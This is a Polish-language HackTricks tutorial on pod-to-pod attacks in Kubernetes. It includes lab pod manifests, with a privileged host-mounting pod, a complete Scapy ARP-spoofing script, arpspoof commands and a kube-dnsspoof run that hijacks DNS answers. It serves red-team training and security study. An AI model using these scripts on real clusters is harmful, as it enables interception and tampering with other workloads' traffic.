Kubernetes Network Attacks

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wprowadzenie

W Kubernetes obserwuje się, że domyślne zachowanie pozwala na nawiązywanie połączeń między wszystkimi kontenerami znajdującymi się na tym samym węźle. Dotyczy to niezależnie od różnic w przestrzeniach nazw. Taka łączność sięga aż do warstwy 2 (Ethernet). W rezultacie taka konfiguracja potencjalnie naraża system na podatności. Konkretnie otwiera możliwość dla złośliwego kontenera wykonania ataku ARP spoofing na inne kontenery znajdujące się na tym samym węźle. Podczas takiego ataku złośliwy kontener może podstępnie przechwycić lub zmodyfikować ruch sieciowy przeznaczony dla innych kontenerów.

Ataki ARP spoofing polegają na wysyłaniu fałszywych wiadomości ARP (Address Resolution Protocol) w lokalnej sieci. Powoduje to powiązanie adresu MAC atakującego z adresem IP prawidłowego komputera lub serwera w sieci. Po pomyślnym wykonaniu takiego ataku, atakujący może przechwycić, zmodyfikować lub nawet zatrzymać dane w trakcie przesyłania. Atak jest wykonywany na warstwie 2 modelu OSI, dlatego domyślne połączenie w Kubernetes na tej warstwie budzi obawy dotyczące bezpieczeństwa.

W scenariuszu zostaną utworzone 4 maszyny:

  • ubuntu-pe: Maszyna uprzywilejowana do ucieczki do węzła i sprawdzenia metryk (nie jest potrzebna do ataku)

  • ubuntu-attack: Złośliwy kontener w domyślnej przestrzeni nazw

  • ubuntu-victim: Maszyna ofiara w przestrzeni nazw kube-system

  • mysql: Maszyna ofiara w domyślnej przestrzeni nazw

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Podstawowa sieć Kubernetes

Jeśli chcesz uzyskać więcej szczegółów na temat omawianych tutaj tematów dotyczących sieci, przejdź do odnośników.

ARP

Ogólnie rzecz biorąc, sieć pod-do-pod wewnątrz węzła jest dostępna za pośrednictwem mostu, który łączy wszystkie pody. Ten most nazywa się "cbr0". (Niektóre wtyczki sieciowe zainstalują swój własny most.) cbr0 może również obsługiwać rozwiązanie ARP (protokół rozwiązywania adresów). Gdy przychodzi pakiet do cbr0, może on rozwiązać docelowy adres MAC za pomocą ARP.

Fakt ten oznacza, że domyślnie każdy pod działający w tym samym węźle będzie mógł komunikować się z dowolnym innym podem w tym samym węźle (niezależnie od przestrzeni nazw) na poziomie Ethernetu (warstwa 2).

Dlatego możliwe jest przeprowadzenie ataków ARP Spoofing między podami w tym samym węźle.

DNS

W środowiskach Kubernetes zazwyczaj znajdziesz 1 (lub więcej) uruchomione usługi DNS zwykle w przestrzeni nazw kube-system:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

W poprzednich informacjach można zauważyć coś interesującego, IP usługi to 10.96.0.10, ale IP poda uruchamiającego usługę to 172.17.0.2.

Jeśli sprawdzisz adres DNS wewnątrz dowolnego poda, znajdziesz coś takiego:

cat /etc/resolv.conf
nameserver 10.96.0.10

Jednakże, pods nie wie, jak dotrzeć do tego adresu, ponieważ zakres pods w tym przypadku to 172.17.0.10/26.

Dlatego też, pods wyśle żądania DNS na adres 10.96.0.10, który zostanie przetłumaczony przez cbr0 na 172.17.0.2.

Oznacza to, że żądanie DNS pods zawsze będzie przechodzić przez mostek, aby przetłumaczyć adres IP usługi na adres IP punktu końcowego, nawet jeśli serwer DNS znajduje się w tej samej podsieci co pods.

Znając to, i wiedząc, że ataki ARP są możliwe, pods w węźle będą w stanie przechwycić ruch między każdym pods w podsieci a mostkiem i modyfikować odpowiedzi DNS od serwera DNS (DNS Spoofing).

Co więcej, jeśli serwer DNS znajduje się w tym samym węźle co atakujący, atakujący może przechwycić wszystkie żądania DNS dowolnego pods w klastrze (między serwerem DNS a mostkiem) i modyfikować odpowiedzi.

ARP Spoofing w pods w tym samym węźle

Naszym celem jest ukraść przynajmniej komunikację od ubuntu-victim do mysql.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

ARPSpoof jest techniką ataku sieciowego, która polega na podszywaniu się pod inną maszynę w sieci lokalnej. Atakujący wysyła fałszywe pakiety ARP, aby wprowadzić w błąd inne urządzenia w sieci i przekierować ruch sieciowy do swojego komputera. W ten sposób atakujący może przechwycić, modyfikować lub wykradać dane przesyłane między innymi urządzeniami w sieci. Ten rodzaj ataku jest szczególnie skuteczny w sieciach lokalnych, takich jak Kubernetes, gdzie wiele kontenerów działa na tej samej fizycznej maszynie.

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Jak już wspomniano, jeśli skompromitujesz pod w tym samym węźle co pod serwera DNS, możesz przeprowadzić atak typu MitM za pomocą ARPSpoofing na mostku i podzie DNS oraz zmieniać wszystkie odpowiedzi DNS.

Masz naprawdę fajne narzędzie i samouczek, aby to przetestować na https://github.com/danielsagi/kube-dnsspoof/

W naszym scenariuszu, pobierz narzędzie na pod atakującego i utwórz plik o nazwie hosts z domenami, które chcesz podrobić, na przykład:

cat hosts
google.com. 1.1.1.1

Przeprowadź atak na maszynę ubuntu-victim:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Jeśli próbujesz stworzyć własny skrypt do przechwytywania DNS, jeśli tylko zmienisz odpowiedź DNS, to nie zadziała, ponieważ odpowiedź będzie miała adres IP źródłowy złośliwego poda i nie zostanie zaakceptowana. Musisz wygenerować nowy pakiet DNS z adresem IP źródłowym DNS, do którego ofiara wysyła żądanie DNS (coś w rodzaju 172.16.0.2, a nie 10.96.0.10, to adres IP usługi DNS K8s, a nie adres IP serwera DNS, więcej na ten temat w wprowadzeniu).

Przechwytywanie ruchu

Narzędzie Mizu to proste, ale potężne narzędzie do przeglądania ruchu API w Kubernetes, które umożliwia wyświetlanie całej komunikacji API między mikroserwisami, pomagając w debugowaniu i rozwiązywaniu problemów związanych z regresją. Zainstaluje ono agenty w wybranych podach, zbierze informacje o ich ruchu i pokaże je w serwerze sieciowym. Jednakże, będziesz potrzebować wysokich uprawnień K8s do tego (i nie jest to zbyt dyskretne).

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated